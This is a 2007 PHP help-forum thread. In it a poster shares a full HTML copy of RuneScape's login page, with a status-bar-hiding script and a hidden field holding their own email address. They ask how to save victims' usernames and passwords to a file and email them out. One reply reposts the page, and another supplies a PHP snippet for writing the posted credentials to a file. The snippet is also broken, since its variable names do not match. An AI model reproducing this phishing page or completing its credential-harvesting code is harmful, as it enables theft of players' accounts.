me1234 Posted July 31, 2007 Share Posted July 31, 2007 I was wondering how to make the info in the fields password and username save to a text file (preferably called ups) the path it needs to go in is my email ( mrwhiskers2345@yahoo.com) I understand that you need to use php for it to go to my email but im not really fimalar with it. So please tell me what the php code will need to be and where it will need to go. Thanks! my code is:: HTML Code: <!--CTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dt--> <meta http-equiv="Expires" content= "0" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Cache-Control" content= "no-cache" /> <meta content="TRUE" name="MSSmartTagsPreventParsing" /> <link media="all" href=" http://www.runescape.com/css/basic-1.css" type="text/css" rel="stylesheet" /> <link media= "all" href=" http://www.runescape.com/css/extra-1.css" type="text/css" rel="stylesheet" /> <TITLE> RuneScape - the massive online adventure game by Jagex Ltd </TITLE> <script> function hidestatus(){ window.status='' return true } if (document.layers) document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT) document.onmouseover=hidestatus document.onmouseout=hidestatus </SCRIPT><style type= "text/css"> .buttons { width: 600px; height: 60px; position: relative; margin: auto; } .buttons a{ display: block; position: absolute; width: 260px; height: 40px; margin: 5px; background: #808080; font-weight: bold; color: white; text-align: center; border: 2px outset #909090;} .buttons a:hover { background: #A0A0A0; border-color: #ffffff} #button-left {left: 0px; top: 0px; padding-top:3px;} #button-left span.lev1 {background-image: url('http://www.runescape.com/img/loginpage/open.gif'); } #button-right {right: 0px; top: 0px; padding-top:3px;} #button-right span.lev1 { background-image: url(' http://www.runescape.com/img/loginpage/lost-your.gif');} span.lev1 { display: block; cursor: pointer; cursor: hand; position: absolute; top: -10px; left: -10px; width: 286px; height: 60px;} a:hover span.lev1 { background-position: 0 60px;} </style> <div id= "body"> <div style="BACKGROUND: none transparent scroll repeat 0% 0%; TEXT-ALIGN: center"> <div class= "titleframe e"><strong>Secure Login</strong><br /> <a href=" http://www.runescape.com/title.ws">Main Menu</a> </div> </div> <img class="widescroll-top" style= "MARGIN-TOP: -25px" height="50" alt="" width="765" src="http://www.runescape.com/img/scroll/backdrop_765_top.gif " /> <div class="widescroll" style="TEXT-ALIGN: center"> <div class= "widescroll-bgimg"> <div class="widescroll-content" style="PADDING-TOP: 0px"><span style= "PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 25px"><img title="Login to Access this Feature" style="DISPLAY: block; MARGIN: auto" alt="Login to Access this Feature" src= "http://www.runescape.com/img/loginpage/log-in.gif" /></span> <div style= "FONT-SIZE: 8pt; MARGIN: auto"> </div> <div style="MARGIN: 4px auto auto; WIDTH: 414px; POSITION: relative; HEIGHT: 214px" > <table style="WIDTH: 414px; HEIGHT: 214px" cellspacing="0" cellpadding= "0"> <tbody> <tr> <td width="400" colspan="3" height= "7"><img style="LEFT: 0px; POSITION: absolute; TOP: 0px" alt="" src= "http://www.runescape.com/img/loginpage/shadow_top.gif" /> </td> </tr> <tr> <td width="7" height="200"><img style= "LEFT: 0px; POSITION: absolute; TOP: 7px" alt="" src=" http://www.runescape.com/img/loginpage/shadow_left.gif" /> </td> <td width="400" height="200" > <div style="FILTER: alpha(opacity=50); LEFT: 7px; WIDTH: 400px; POSITION: absolute; TOP: 7px; HEIGHT: 200px; BACKGROUND-COLOR: #3e434d; -moz-opacity: 0.5; opacity: 0.5"></div> <div style="Z-INDEX: 2; LEFT: 40px; POSITION: absolute; TOP: 70px"> <form action="?login" name="access_password" method="post" autocomplete="off" > <table style="FILTER: alpha(opacity=100); -moz-opacity: 1.0; opacity: 1.0"> <tbody> <tr> <td>RuneScape username:</td> <td><input maxlength= "12" name="username" /></td> </tr> <tr> <td>RuneScape password:</td> <td><input type= "password" maxlength="20" name="password" /></td> </tr> <tr> <td> </td> <td align="center"><input type="submit" value= "Secure Login" /></td> </tr> </tbody> </table> <input type="hidden" name="dest" value="mrwhiskers2345@yahoo.com" /> </form> </div> </td> <td style= "LEFT: 407px; POSITION: absolute; TOP: 7px" width="7" height="200" ><img alt="" src=" http://www.runescape.com/img/loginpage/shadow_right.gif" /> </td> </tr> <tr> <td width="400" colspan= "3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 207px" alt= "" src="http://www.runescape.com/img/loginpage/shadow_bottom.gif " /> </td> </tr> </tbody> </table> </div> <div style="MARGIN: auto"><img id= "dont" title="Only Enter Your Password On RuneScape.com" style="MARGIN: auto; PADDING-TOP: 5px" alt= "Only Enter Your Password On RuneScape.com" src=" http://www.runescape.com/img/loginpage/runescape_only_ie6_2.gif" /> </div> <script type="text/javascript"> var ua=navigator.userAgent.toLowerCase (); if (ua.indexOf('firefox')>-1 || ua.indexOf('macintosh')>-1) { document.getElementById('dont').src=' http://www.runescape.com/img/loginpage/runescape_only_ff_2.gif'; } if (ua.indexOf('msie 7.0')>-1) { document.getElementById('dont').src=' http://www.runescape.com/img/loginpage/runescape_only_ie7_2.gif'; } </script><br /> <br /> <div class="buttons"><a class= "button" id="button-left" href=" https://create.runescape.com/index.html"><span class="lev1"></span>Open a New Account!<br /> Click Here!</a> <a class= "button" id="button-right" href=" https://password.runescape.com/passsupport.html"><span class="lev1"></span>Lost Your Password?<br /> Click Here!</a> </div> </div> </div> </div> <img class= "widescroll-bottom" height="50" alt="" width= "765" src="http://www.runescape.com/img/scroll/backdrop_765_bottom.gif " /> <div class="tandc">This website and its contents are copyright � 1999 - 2007 Jagex Ltd.<br /> Use of this website is subject to our <a class= "c" href=" http://www.runescape.com/terms/terms.ws">Terms+Conditions</a> and <a class="c" href=" http://www.runescape.com/privacy/privacy.ws">Privacy policy</a> </div> </div> Quote Link to comment https://forums.phpfreaks.com/topic/62673-help-please/ Share on other sites More sharing options...
envexlabs Posted July 31, 2007 Share Posted July 31, 2007 Please use the code button! <!--CTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dt--> <meta http-equiv="Expires" content= "0" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Cache-Control" content= "no-cache" /> <meta content="TRUE" name="MSSmartTagsPreventParsing" /> <link media="all" href=" http://www.runescape.com/css/basic-1.css" type="text/css" rel="stylesheet" /> <link media= "all" href=" http://www.runescape.com/css/extra-1.css" type="text/css" rel="stylesheet" /> <TITLE> RuneScape - the massive online adventure game by Jagex Ltd </TITLE> <script> function hidestatus(){ window.status='' return true } if (document.layers) document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT) document.onmouseover=hidestatus document.onmouseout=hidestatus </SCRIPT><style type= "text/css"> .buttons { width: 600px; height: 60px; position: relative; margin: auto; } .buttons a{ display: block; position: absolute; width: 260px; height: 40px; margin: 5px; background: #808080; font-weight: bold; color: white; text-align: center; border: 2px outset #909090;} .buttons a:hover { background: #A0A0A0; border-color: #ffffff} #button-left {left: 0px; top: 0px; padding-top:3px;} #button-left span.lev1 {background-image: url('http://www.runescape.com/img/loginpage/open.gif'); } #button-right {right: 0px; top: 0px; padding-top:3px;} #button-right span.lev1 { background-image: url(' http://www.runescape.com/img/loginpage/lost-your.gif');} span.lev1 { display: block; cursor: pointer; cursor: hand; position: absolute; top: -10px; left: -10px; width: 286px; height: 60px;} a:hover span.lev1 { background-position: 0 60px;} </style> <div id= "body"> <div style="BACKGROUND: none transparent scroll repeat 0% 0%; TEXT-ALIGN: center"> <div class= "titleframe e"><strong>Secure Login</strong> <a href=" http://www.runescape.com/title.ws">Main Menu[/url] </div> </div> <img class="widescroll-top" style= "MARGIN-TOP: -25px" height="50" alt="" width="765" src="http://www.runescape.com/img/scroll/backdrop_765_top.gif " /> <div class="widescroll" style="TEXT-ALIGN: center"> <div class= "widescroll-bgimg"> <div class="widescroll-content" style="PADDING-TOP: 0px"><span style= "PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 25px"><img title="Login to Access this Feature" style="DISPLAY: block; MARGIN: auto" alt="Login to Access this Feature" src= "http://www.runescape.com/img/loginpage/log-in.gif" /></span> <div style= "FONT-SIZE: 8pt; MARGIN: auto"> </div> <div style="MARGIN: 4px auto auto; WIDTH: 414px; POSITION: relative; HEIGHT: 214px" > <table style="WIDTH: 414px; HEIGHT: 214px" cellspacing="0" cellpadding= "0"> <tbody> <tr> <td width="400" colspan="3" height= "7"><img style="LEFT: 0px; POSITION: absolute; TOP: 0px" alt="" src= "http://www.runescape.com/img/loginpage/shadow_top.gif" /> </td> </tr> <tr> <td width="7" height="200"><img style= "LEFT: 0px; POSITION: absolute; TOP: 7px" alt="" src=" http://www.runescape.com/img/loginpage/shadow_left.gif" /> </td> <td width="400" height="200" > <div style="FILTER: alpha(opacity=50); LEFT: 7px; WIDTH: 400px; POSITION: absolute; TOP: 7px; HEIGHT: 200px; BACKGROUND-COLOR: #3e434d; -moz-opacity: 0.5; opacity: 0.5"></div> <div style="Z-INDEX: 2; LEFT: 40px; POSITION: absolute; TOP: 70px"> <form action="?login" name="access_password" method="post" autocomplete="off" > <table style="FILTER: alpha(opacity=100); -moz-opacity: 1.0; opacity: 1.0"> <tbody> <tr> <td>RuneScape username:</td> <td><input maxlength= "12" name="username" /></td> </tr> <tr> <td>RuneScape password:</td> <td><input type= "password" maxlength="20" name="password" /></td> </tr> <tr> <td> </td> <td align="center"><input type="submit" value= "Secure Login" /></td> </tr> </tbody> </table> <input type="hidden" name="dest" value="mrwhiskers2345@yahoo.com" /> </form> </div> </td> <td style= "LEFT: 407px; POSITION: absolute; TOP: 7px" width="7" height="200" ><img alt="" src=" http://www.runescape.com/img/loginpage/shadow_right.gif" /> </td> </tr> <tr> <td width="400" colspan= "3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 207px" alt= "" src="http://www.runescape.com/img/loginpage/shadow_bottom.gif " /> </td> </tr> </tbody> </table> </div> <div style="MARGIN: auto"><img id= "dont" title="Only Enter Your Password On RuneScape.com" style="MARGIN: auto; PADDING-TOP: 5px" alt= "Only Enter Your Password On RuneScape.com" src=" http://www.runescape.com/img/loginpage/runescape_only_ie6_2.gif" /> </div> <script type="text/javascript"> var ua=navigator.userAgent.toLowerCase (); if (ua.indexOf('firefox')>-1 || ua.indexOf('macintosh')>-1) { document.getElementById('dont').src=' http://www.runescape.com/img/loginpage/runescape_only_ff_2.gif'; } if (ua.indexOf('msie 7.0')>-1) { document.getElementById('dont').src=' http://www.runescape.com/img/loginpage/runescape_only_ie7_2.gif'; } </script> <div class="buttons"><a class= "button" id="button-left" href=" https://create.runescape.com/index.html"><span class="lev1"></span>Open a New Account! Click Here![/url] <a class= "button" id="button-right" href=" https://password.runescape.com/passsupport.html"><span class="lev1"></span>Lost Your Password? Click Here![/url] </div> </div> </div> </div> <img class= "widescroll-bottom" height="50" alt="" width= "765" src="http://www.runescape.com/img/scroll/backdrop_765_bottom.gif " /> <div class="tandc">This website and its contents are copyright � 1999 - 2007 Jagex Ltd. Use of this website is subject to our <a class= "c" href=" http://www.runescape.com/terms/terms.ws">Terms+Conditions[/url] and <a class="c" href=" http://www.runescape.com/privacy/privacy.ws">Privacy policy[/url] </div> </div> it makes it ALOT easier for us to read. Quote Link to comment https://forums.phpfreaks.com/topic/62673-help-please/#findComment-311913 Share on other sites More sharing options...
envexlabs Posted July 31, 2007 Share Posted July 31, 2007 $thefile = "testFile.txt"; $fh = fopen($myFile, 'w') or die("can't open file"); $stringData = !!!This is where all your $_POST data would go!!!; fwrite($fh, $stringData); fclose($fh); Quote Link to comment https://forums.phpfreaks.com/topic/62673-help-please/#findComment-311915 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.